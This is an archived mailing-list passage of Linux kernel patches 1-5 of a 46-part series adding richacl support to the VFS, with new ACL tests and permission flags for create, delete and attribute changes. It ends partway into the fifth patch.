oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 00E467F50 for ; Sun, 11 Oct 2015 17:59:21 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 75E37AC002 for ; Sun, 11 Oct 2015 15:59:20 -0700 (PDT) X-ASG-Debug-ID: 1444604358-04cbb05fbe3d580001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id LPxLdBufJm4jqU8f (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sun, 11 Oct 2015 15:59:19 -0700 (PDT) X-Barracuda-Envelope-From: andreas.gruenbacher@gmail.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 101912DD305; Sun, 11 Oct 2015 22:59:18 +0000 (UTC) Received: from nuc.home.com (vpn1-7-138.ams2.redhat.com [10.36.7.138]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9BMx36P016614; Sun, 11 Oct 2015 18:59:11 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v10 01/46] vfs: Add IS_ACL() and IS_RICHACL() tests Date: Mon, 12 Oct 2015 00:58:12 +0200 X-ASG-Orig-Subj: [PATCH v10 01/46] vfs: Add IS_ACL() and IS_RICHACL() tests Message-Id: <1444604337-17651-2-git-send-email-andreas.gruenbacher@gmail.com> In-Reply-To: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444604359 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 From: Andreas Gruenbacher The vfs does not apply the umask for file systems that support acls. The test used for this used to be called IS_POSIXACL(). Switch to a new IS_ACL() test to check for either posix acls or richacls instead. Add a new MS_RICHACL flag and IS_RICHACL() test for richacls alone. The IS_POSIXACL() test is still needed by nfsd. Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/Kconfig | 3 +++ fs/namei.c | 8 ++++---- include/linux/fs.h | 12 ++++++++++++ include/uapi/linux/fs.h | 3 ++- 4 files changed, 21 insertions(+), 5 deletions(-) diff --git a/fs/Kconfig b/fs/Kconfig index da3f32f..bff2879 100644 --- a/fs/Kconfig +++ b/fs/Kconfig @@ -56,6 +56,9 @@ endif # BLOCK config FS_POSIX_ACL def_bool n +config FS_RICHACL + def_bool n + config EXPORTFS tristate diff --git a/fs/namei.c b/fs/namei.c index 33e9495..224ecf1 100644 --- a/fs/namei.c +++ b/fs/namei.c @@ -2798,7 +2798,7 @@ static int atomic_open(struct nameidata *nd, struct dentry *dentry, } mode = op->mode; - if ((open_flag & O_CREAT) && !IS_POSIXACL(dir)) + if ((open_flag & O_CREAT) && !IS_ACL(dir)) mode &= ~current_umask(); excl = (open_flag & (O_EXCL | O_CREAT)) == (O_EXCL | O_CREAT); @@ -2982,7 +2982,7 @@ static int lookup_open(struct nameidata *nd, struct path *path, /* Negative dentry, just create the file */ if (!dentry->d_inode && (op->open_flag & O_CREAT)) { umode_t mode = op->mode; - if (!IS_POSIXACL(dir->d_inode)) + if (!IS_ACL(dir->d_inode)) mode &= ~current_umask(); /* * This write is needed to ensure that a @@ -3553,7 +3553,7 @@ retry: if (IS_ERR(dentry)) return PTR_ERR(dentry); - if (!IS_POSIXACL(path.dentry->d_inode)) + if (!IS_ACL(path.dentry->d_inode)) mode &= ~current_umask(); error = security_path_mknod(&path, dentry, mode, dev); if (error) @@ -3622,7 +3622,7 @@ retry: if (IS_ERR(dentry)) return PTR_ERR(dentry); - if (!IS_POSIXACL(path.dentry->d_inode)) + if (!IS_ACL(path.dentry->d_inode)) mode &= ~current_umask(); error = security_path_mkdir(&path, dentry, mode); if (!error) diff --git a/include/linux/fs.h b/include/linux/fs.h index 72d8a84..4efa435 100644 --- a/include/linux/fs.h +++ b/include/linux/fs.h @@ -1781,6 +1781,12 @@ struct super_operations { #define IS_IMMUTABLE(inode) ((inode)->i_flags & S_IMMUTABLE) #define IS_POSIXACL(inode) __IS_FLG(inode, MS_POSIXACL) +#ifdef CONFIG_FS_RICHACL +#define IS_RICHACL(inode) __IS_FLG(inode, MS_RICHACL) +#else +#define IS_RICHACL(inode) 0 +#endif + #define IS_DEADDIR(inode) ((inode)->i_flags & S_DEAD) #define IS_NOCMTIME(inode) ((inode)->i_flags & S_NOCMTIME) #define IS_SWAPFILE(inode) ((inode)->i_flags & S_SWAPFILE) @@ -1794,6 +1800,12 @@ struct super_operations { (inode)->i_rdev == WHITEOUT_DEV) /* + * IS_ACL() tells the VFS to not apply the umask + * and use check_acl for acl permission checks when defined. + */ +#define IS_ACL(inode) __IS_FLG(inode, MS_POSIXACL | MS_RICHACL) + +/* * Inode state bits. Protected by inode->i_lock * * Three bits determine the dirty state of the inode, I_DIRTY_SYNC, diff --git a/include/uapi/linux/fs.h b/include/uapi/linux/fs.h index 9b964a5..6ac6bc9 100644 --- a/include/uapi/linux/fs.h +++ b/include/uapi/linux/fs.h @@ -81,7 +81,7 @@ struct inodes_stat_t { #define MS_VERBOSE 32768 /* War is peace. Verbosity is silence. MS_VERBOSE is deprecated. */ #define MS_SILENT 32768 -#define MS_POSIXACL (1<<16) /* VFS does not apply the umask */ +#define MS_POSIXACL (1<<16) /* Supports POSIX ACLs */ #define MS_UNBINDABLE (1<<17) /* change to unbindable */ #define MS_PRIVATE (1<<18) /* change to private */ #define MS_SLAVE (1<<19) /* change to slave */ @@ -91,6 +91,7 @@ struct inodes_stat_t { #define MS_I_VERSION (1<<23) /* Update inode I_version field */ #define MS_STRICTATIME (1<<24) /* Always perform atime updates */ #define MS_LAZYTIME (1<<25) /* Update the on-disk [acm]times lazily */ +#define MS_RICHACL (1<<26) /* Supports richacls */ /* These sb flags are internal to the kernel */ #define MS_NOSEC (1<<28) -- 2.5.0 From andreas.gruenbacher@gmail.com Sun Oct 11 17:59:27 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id BDC0F7F54 for ; Sun, 11 Oct 2015 17:59:27 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3DD27AC003 for ; Sun, 11 Oct 2015 15:59:27 -0700 (PDT) X-ASG-Debug-ID: 1444604365-04cbb05fbf3d590001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id DDdqSn47AbyJSCy6 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sun, 11 Oct 2015 15:59:25 -0700 (PDT) X-Barracuda-Envelope-From: andreas.gruenbacher@gmail.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id F01CC3B3C2; Sun, 11 Oct 2015 22:59:24 +0000 (UTC) Received: from nuc.home.com (vpn1-7-138.ams2.redhat.com [10.36.7.138]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9BMx36Q016614; Sun, 11 Oct 2015 18:59:18 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v10 02/46] vfs: Add MAY_CREATE_FILE and MAY_CREATE_DIR permission flags Date: Mon, 12 Oct 2015 00:58:13 +0200 X-ASG-Orig-Subj: [PATCH v10 02/46] vfs: Add MAY_CREATE_FILE and MAY_CREATE_DIR permission flags Message-Id: <1444604337-17651-3-git-send-email-andreas.gruenbacher@gmail.com> In-Reply-To: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444604365 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 From: Andreas Gruenbacher Richacls distinguish between creating non-directories and directories. To support that, add an isdir parameter to may_create(). When checking inode_permission() for create permission, pass in an additional MAY_CREATE_FILE or MAY_CREATE_DIR mask flag. To allow checking for delete *and* create access when replacing an existing file via vfs_rename(), add a replace parameter to may_delete(). Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/namei.c | 43 +++++++++++++++++++++++++------------------ include/linux/fs.h | 2 ++ 2 files changed, 27 insertions(+), 18 deletions(-) diff --git a/fs/namei.c b/fs/namei.c index 224ecf1..0259392 100644 --- a/fs/namei.c +++ b/fs/namei.c @@ -453,7 +453,9 @@ static int sb_permission(struct super_block *sb, struct inode *inode, int mask) * this, letting us set arbitrary permissions for filesystem access without * changing the "normal" UIDs which are used for other things. * - * When checking for MAY_APPEND, MAY_WRITE must also be set in @mask. + * MAY_WRITE must be set in @mask whenever MAY_APPEND, MAY_CREATE_FILE, or + * MAY_CREATE_DIR are set. That way, file systems that don't support these + * permissions will check for MAY_WRITE instead. */ int inode_permission(struct inode *inode, int mask) { @@ -2549,10 +2551,11 @@ EXPORT_SYMBOL(__check_sticky); * 10. We don't allow removal of NFS sillyrenamed files; it's handled by * nfs_async_unlink(). */ -static int may_delete(struct inode *dir, struct dentry *victim, bool isdir) +static int may_delete(struct inode *dir, struct dentry *victim, + bool isdir, bool replace) { struct inode *inode = d_backing_inode(victim); - int error; + int error, mask = MAY_WRITE | MAY_EXEC; if (d_is_negative(victim)) return -ENOENT; @@ -2561,7 +2564,9 @@ static int may_delete(struct inode *dir, struct dentry *victim, bool isdir) BUG_ON(victim->d_parent->d_inode != dir); audit_inode_child(dir, victim, AUDIT_TYPE_CHILD_DELETE); - error = inode_permission(dir, MAY_WRITE | MAY_EXEC); + if (replace) + mask |= isdir ? MAY_CREATE_DIR : MAY_CREATE_FILE; + error = inode_permission(dir, mask); if (error) return error; if (IS_APPEND(dir)) @@ -2592,14 +2597,16 @@ static int may_delete(struct inode *dir, struct dentry *victim, bool isdir) * 3. We should have write and exec permissions on dir * 4. We can't do it if dir is immutable (done in permission()) */ -static inline int may_create(struct inode *dir, struct dentry *child) +static inline int may_create(struct inode *dir, struct dentry *child, bool isdir) { + int mask = isdir ? MAY_CREATE_DIR : MAY_CREATE_FILE; + audit_inode_child(dir, child, AUDIT_TYPE_CHILD_CREATE); if (child->d_inode) return -EEXIST; if (IS_DEADDIR(dir)) return -ENOENT; - return inode_permission(dir, MAY_WRITE | MAY_EXEC); + return inode_permission(dir, MAY_WRITE | MAY_EXEC | mask); } /* @@ -2649,7 +2656,7 @@ EXPORT_SYMBOL(unlock_rename); int vfs_create(struct inode *dir, struct dentry *dentry, umode_t mode, bool want_excl) { - int error = may_create(dir, dentry); + int error = may_create(dir, dentry, false); if (error) return error; @@ -3494,7 +3501,7 @@ EXPORT_SYMBOL(user_path_create); int vfs_mknod(struct inode *dir, struct dentry *dentry, umode_t mode, dev_t dev) { - int error = may_create(dir, dentry); + int error = may_create(dir, dentry, false); if (error) return error; @@ -3586,7 +3593,7 @@ SYSCALL_DEFINE3(mknod, const char __user *, filename, umode_t, mode, unsigned, d int vfs_mkdir(struct inode *dir, struct dentry *dentry, umode_t mode) { - int error = may_create(dir, dentry); + int error = may_create(dir, dentry, true); unsigned max_links = dir->i_sb->s_max_links; if (error) @@ -3667,7 +3674,7 @@ EXPORT_SYMBOL(dentry_unhash); int vfs_rmdir(struct inode *dir, struct dentry *dentry) { - int error = may_delete(dir, dentry, 1); + int error = may_delete(dir, dentry, true, false); if (error) return error; @@ -3789,7 +3796,7 @@ SYSCALL_DEFINE1(rmdir, const char __user *, pathname) int vfs_unlink(struct inode *dir, struct dentry *dentry, struct inode **delegated_inode) { struct inode *target = dentry->d_inode; - int error = may_delete(dir, dentry, 0); + int error = may_delete(dir, dentry, false, false); if (error) return error; @@ -3923,7 +3930,7 @@ SYSCALL_DEFINE1(unlink, const char __user *, pathname) int vfs_symlink(struct inode *dir, struct dentry *dentry, const char *oldname) { - int error = may_create(dir, dentry); + int error = may_create(dir, dentry, false); if (error) return error; @@ -4006,7 +4013,7 @@ int vfs_link(struct dentry *old_dentry, struct inode *dir, struct dentry *new_de if (!inode) return -ENOENT; - error = may_create(dir, new_dentry); + error = may_create(dir, new_dentry, false); if (error) return error; @@ -4194,19 +4201,19 @@ int vfs_rename(struct inode *old_dir, struct dentry *old_dentry, if (source == target) return 0; - error = may_delete(old_dir, old_dentry, is_dir); + error = may_delete(old_dir, old_dentry, is_dir, false); if (error) return error; if (!target) { - error = may_create(new_dir, new_dentry); + error = may_create(new_dir, new_dentry, is_dir); } else { new_is_dir = d_is_dir(new_dentry); if (!(flags & RENAME_EXCHANGE)) - error = may_delete(new_dir, new_dentry, is_dir); + error = may_delete(new_dir, new_dentry, is_dir, true); else - error = may_delete(new_dir, new_dentry, new_is_dir); + error = may_delete(new_dir, new_dentry, new_is_dir, true); } if (error) return error; @@ -4469,7 +4476,7 @@ SYSCALL_DEFINE2(rename, const char __user *, oldname, const char __user *, newna int vfs_whiteout(struct inode *dir, struct dentry *dentry) { - int error = may_create(dir, dentry); + int error = may_create(dir, dentry, false); if (error) return error; diff --git a/include/linux/fs.h b/include/linux/fs.h index 4efa435..d6e2330 100644 --- a/include/linux/fs.h +++ b/include/linux/fs.h @@ -82,6 +82,8 @@ typedef void (dax_iodone_t)(struct buffer_head *bh_map, int uptodate); #define MAY_CHDIR 0x00000040 /* called from RCU mode, don't block */ #define MAY_NOT_BLOCK 0x00000080 +#define MAY_CREATE_FILE 0x00000100 +#define MAY_CREATE_DIR 0x00000200 /* * flags in file.f_mode. Note that FMODE_READ and FMODE_WRITE must correspond -- 2.5.0 From andreas.gruenbacher@gmail.com Sun Oct 11 17:59:33 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 818947F37 for ; Sun, 11 Oct 2015 17:59:33 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 71F67304039 for ; Sun, 11 Oct 2015 15:59:33 -0700 (PDT) X-ASG-Debug-ID: 1444604372-04cbb05fc03d5a0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id bgLC4mVtOSDO6ysf (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sun, 11 Oct 2015 15:59:32 -0700 (PDT) X-Barracuda-Envelope-From: andreas.gruenbacher@gmail.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id D42D68EA43; Sun, 11 Oct 2015 22:59:31 +0000 (UTC) Received: from nuc.home.com (vpn1-7-138.ams2.redhat.com [10.36.7.138]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9BMx36R016614; Sun, 11 Oct 2015 18:59:25 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v10 03/46] vfs: Add MAY_DELETE_SELF and MAY_DELETE_CHILD permission flags Date: Mon, 12 Oct 2015 00:58:14 +0200 X-ASG-Orig-Subj: [PATCH v10 03/46] vfs: Add MAY_DELETE_SELF and MAY_DELETE_CHILD permission flags Message-Id: <1444604337-17651-4-git-send-email-andreas.gruenbacher@gmail.com> In-Reply-To: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444604372 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 From: Andreas Gruenbacher Normally, deleting a file requires MAY_WRITE access to the parent directory. With richacls, a file may be deleted with MAY_DELETE_CHILD access to the parent directory or with MAY_DELETE_SELF access to the file. To support that, pass the MAY_DELETE_CHILD mask flag to inode_permission() when checking for delete access inside a directory, and MAY_DELETE_SELF when checking for delete access to a file itelf. The MAY_DELETE_SELF permission overrides the sticky directory check. Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/namei.c | 21 ++++++++++++--------- include/linux/fs.h | 2 ++ 2 files changed, 14 insertions(+), 9 deletions(-) diff --git a/fs/namei.c b/fs/namei.c index 0259392..2eab19e 100644 --- a/fs/namei.c +++ b/fs/namei.c @@ -453,9 +453,9 @@ static int sb_permission(struct super_block *sb, struct inode *inode, int mask) * this, letting us set arbitrary permissions for filesystem access without * changing the "normal" UIDs which are used for other things. * - * MAY_WRITE must be set in @mask whenever MAY_APPEND, MAY_CREATE_FILE, or - * MAY_CREATE_DIR are set. That way, file systems that don't support these - * permissions will check for MAY_WRITE instead. + * MAY_WRITE must be set in @mask whenever MAY_APPEND, MAY_CREATE_FILE, + * MAY_CREATE_DIR, or MAY_DELETE_CHILD are set. That way, file systems that + * don't support these permissions will check for MAY_WRITE instead. */ int inode_permission(struct inode *inode, int mask) { @@ -2555,7 +2555,7 @@ static int may_delete(struct inode *dir, struct dentry *victim, bool isdir, bool replace) { struct inode *inode = d_backing_inode(victim); - int error, mask = MAY_WRITE | MAY_EXEC; + int error, mask = MAY_EXEC; if (d_is_negative(victim)) return -ENOENT; @@ -2565,15 +2565,18 @@ static int may_delete(struct inode *dir, struct dentry *victim, audit_inode_child(dir, victim, AUDIT_TYPE_CHILD_DELETE); if (replace) - mask |= isdir ? MAY_CREATE_DIR : MAY_CREATE_FILE; - error = inode_permission(dir, mask); + mask |= MAY_WRITE | (isdir ? MAY_CREATE_DIR : MAY_CREATE_FILE); + error = inode_permission(dir, mask | MAY_WRITE | MAY_DELETE_CHILD); + if (!error && check_sticky(dir, inode)) + error = -EPERM; + if (error && IS_RICHACL(inode) && + inode_permission(inode, MAY_DELETE_SELF) == 0) + error = 0; if (error) return error; if (IS_APPEND(dir)) return -EPERM; - - if (check_sticky(dir, inode) || IS_APPEND(inode) || - IS_IMMUTABLE(inode) || IS_SWAPFILE(inode)) + if (IS_APPEND(inode) || IS_IMMUTABLE(inode) || IS_SWAPFILE(inode)) return -EPERM; if (isdir) { if (!d_is_dir(victim)) diff --git a/include/linux/fs.h b/include/linux/fs.h index d6e2330..402acd7 100644 --- a/include/linux/fs.h +++ b/include/linux/fs.h @@ -84,6 +84,8 @@ typedef void (dax_iodone_t)(struct buffer_head *bh_map, int uptodate); #define MAY_NOT_BLOCK 0x00000080 #define MAY_CREATE_FILE 0x00000100 #define MAY_CREATE_DIR 0x00000200 +#define MAY_DELETE_CHILD 0x00000400 +#define MAY_DELETE_SELF 0x00000800 /* * flags in file.f_mode. Note that FMODE_READ and FMODE_WRITE must correspond -- 2.5.0 From andreas.gruenbacher@gmail.com Sun Oct 11 17:59:42 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 95EF17F37 for ; Sun, 11 Oct 2015 17:59:42 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 77668304039 for ; Sun, 11 Oct 2015 15:59:42 -0700 (PDT) X-ASG-Debug-ID: 1444604379-04bdf020daa1a60001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 8NzLnCs4OtKLiKje (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sun, 11 Oct 2015 15:59:39 -0700 (PDT) X-Barracuda-Envelope-From: andreas.gruenbacher@gmail.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id C4FCE2FE817; Sun, 11 Oct 2015 22:59:38 +0000 (UTC) Received: from nuc.home.com (vpn1-7-138.ams2.redhat.com [10.36.7.138]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9BMx36S016614; Sun, 11 Oct 2015 18:59:32 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v10 04/46] vfs: Make the inode passed to inode_change_ok non-const Date: Mon, 12 Oct 2015 00:58:15 +0200 X-ASG-Orig-Subj: [PATCH v10 04/46] vfs: Make the inode passed to inode_change_ok non-const Message-Id: <1444604337-17651-5-git-send-email-andreas.gruenbacher@gmail.com> In-Reply-To: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444604379 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 From: Andreas Gruenbacher We will need to call iop->permission and iop->get_acl from inode_change_ok() for additional permission checks, and both take a non-const inode. Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/attr.c | 2 +- include/linux/fs.h | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/fs/attr.c b/fs/attr.c index 6530ced..328be71 100644 --- a/fs/attr.c +++ b/fs/attr.c @@ -28,7 +28,7 @@ * Should be called as the first thing in ->setattr implementations, * possibly after taking additional locks. */ -int inode_change_ok(const struct inode *inode, struct iattr *attr) +int inode_change_ok(struct inode *inode, struct iattr *attr) { unsigned int ia_valid = attr->ia_valid; diff --git a/include/linux/fs.h b/include/linux/fs.h index 402acd7..aab32c8 100644 --- a/include/linux/fs.h +++ b/include/linux/fs.h @@ -2871,7 +2871,7 @@ extern int buffer_migrate_page(struct address_space *, #define buffer_migrate_page NULL #endif -extern int inode_change_ok(const struct inode *, struct iattr *); +extern int inode_change_ok(struct inode *, struct iattr *); extern int inode_newsize_ok(const struct inode *, loff_t offset); extern void setattr_copy(struct inode *inode, const struct iattr *attr); -- 2.5.0 From andreas.gruenbacher@gmail.com Sun Oct 11 17:59:48 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3B3187F62 for ; Sun, 11 Oct 2015 17:59:48 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id B0CB1AC002 for ; Sun, 11 Oct 2015 15:59:47 -0700 (PDT) X-ASG-Debug-ID: 1444604386-04cb6c5786a79b0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id r0LbhczVSbF2WU0y (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sun, 11 Oct 2015 15:59:46 -0700 (PDT) X-Barracuda-Envelope-From: andreas.gruenbacher@gmail.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id BC7888EA37; Sun, 11 Oct 2015 22:59:45 +0000 (UTC) Received: from nuc.home.com (vpn1-7-138.ams2.redhat.com [10.36.7.138]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9BMx36T016614; Sun, 11 Oct 2015 18:59:39 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v10 05/46] vfs: Add permission flags for setting file attributes Date: Mon, 12 Oct 2015 00:58:16 +0200 X-ASG-Orig-Subj: [PATCH v10 05/46] vfs: Add permission flags for setting file attributes Message-Id: <1444604337-17651-6-git-send-email-andreas.gruenbacher@gmail.com> In-Reply-To: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444604386 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 From: Andreas Gruenbacher Richacls support permissions that allow to take ownership of a file, change the file permissions, and set the file timestamps. Support that by introducing new permission mask flags and by checking for those mask flags in inode_change_ok(). Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/attr.c | 79 +++++++++++++++++++++++++++++++++++++++++++++--------- include/linux/fs.h | 3 +++ 2 files changed, 70 insertions(+), 12 deletions(-) diff --git a/fs/attr.c b/fs/attr.c index 328be71..85483e0 100644 --- a/fs/attr.c +++ b/fs/attr.c @@ -17,6 +17,65 @@ #include /** + * inode_extended_permission - permissions beyond read/write/execute + * + * Check for permissions that only 